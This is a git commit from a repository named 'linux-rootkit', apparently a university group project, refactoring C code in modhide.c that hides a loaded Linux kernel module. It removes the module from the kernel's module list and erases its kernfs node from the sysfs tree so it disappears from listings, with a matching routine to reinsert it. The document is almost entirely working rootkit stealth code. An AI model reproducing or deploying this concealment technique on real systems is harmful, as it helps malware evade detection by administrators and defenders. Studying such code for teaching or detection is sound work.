linux-rootkit

commit 38e96b8b1acc57788cdb2433879a4713e4e583f5
parent b638c450f00b85585d6d9ed4383ce20d851aa4d1
Author: deurzen <m.deurzen@tum.de>
Date:   Sat,  5 Dec 2020 21:38:42 +0100

refactors code

Diffstat:
M
src/modhide.c
 | 
41
+++++++++++++++++++++++++----------------
M
src/modhide.h
 | 
2
--

2 files changed, 25 insertions(+), 18 deletions(-)
diff --git a/src/modhide.c b/src/modhide.c
@@ -12,24 +12,24 @@ static struct list_head *mod;
 void
 hide_module(void)
 {
-    struct kernfs_node *knode;
+    struct kernfs_node *sd;
 
     if (mod)
         return;
 
-    knode = THIS_MODULE->mkobj.kobj.sd;
     mod = THIS_MODULE->list.prev;
+    sd = THIS_MODULE->mkobj.kobj.sd;
 
     list_del(&THIS_MODULE->list);
-    rb_erase(&knode->rb, &knode->parent->dir.children);
-    knode->rb.__rb_parent_color = (unsigned long)(&knode->rb);
+    rb_erase(&sd->rb, &sd->parent->dir.children);
+    /* sd->rb.__rb_parent_color = (unsigned long)(&sd->rb); */
 }
 
 void
 unhide_module(void)
 {
     int res;
-    struct kernfs_node *rb;
+    struct kernfs_node *sd;
     struct rb_root *root;
     struct rb_node *parent;
     struct rb_node **new;
@@ -37,38 +37,47 @@ unhide_module(void)
     if (!mod)
         return;
 
-    rb = THIS_MODULE->mkobj.kobj.sd;
-    root = &rb->parent->dir.children;
+    sd = THIS_MODULE->mkobj.kobj.sd;
+    root = &sd->parent->dir.children;
     new = &root->rb_node;
     parent = NULL;
 
     list_add(&THIS_MODULE->list, mod);
 
-    { // insert our module back into the RB tree of modules
-        // search for the place to insert, insert, then rebalance tree,
+    { // Insert our module back into the RB tree of modules
+        // Search for the place to insert, insert, then rebalance tree,
         // as per https://www.kernel.org/doc/Documentation/rbtree.txt
         while (*new) {
-            static struct kernfs_node *new_rb;
+            static struct kernfs_node *rb;
 
             parent = *new;
-            new_rb = rb_entry(*new, struct kernfs_node, rb);
+            rb = rb_entry(*new, struct kernfs_node, rb);
 
             // https://elixir.bootlin.com/linux/v4.19/source/include/linux/kernfs.h#L132
-            res = (new_rb->ns == rb->ns)
-                ? strcmp(rb->name, new_rb->name)
-                : (rb->ns - new_rb->ns);
+            // Determine insert position based on 1. hash,
+            // 2. (upon collision) namespace, and 3. (otherwise) name
+            res = (sd->hash == rb->hash)
+                ? ((sd->ns == rb->ns)
+                    ? strcmp(sd->name, rb->name)
+                    : sd->ns - rb->ns)
+                : sd->hash - rb->hash;
 
             if (res < 0)
                 new = &((*new)->rb_left);
+                /* new = &(rb->rb.rb_left); */
             else if (res > 0)
                 new = &((*new)->rb_right);
+                /* new = &(rb->rb.rb_right); */
             else
                 return;
         }
 
-        rb_link_node(&rb->rb, parent, new);
-        rb_insert_color(&rb->rb, root);
+        rb_link_node(&sd->rb, parent, new);
+        rb_insert_color(&sd->rb, root);
     }
 
+	/* if (kernfs_type(sd) == KERNFS_DIR) */
+	/* 	++sd->parent->dir.subdirs; */
+
     mod = NULL;
 }
diff --git a/src/modhide.h b/src/modhide.h
@@ -3,7 +3,5 @@
 
 void hide_module(void);
 void unhide_module(void);
-void rb_add(struct kernfs_node *);
-int nodecmp(struct kernfs_node *, const unsigned int, const char *, const void *);
 
 #endif//_GROUP7_MODHIDE_H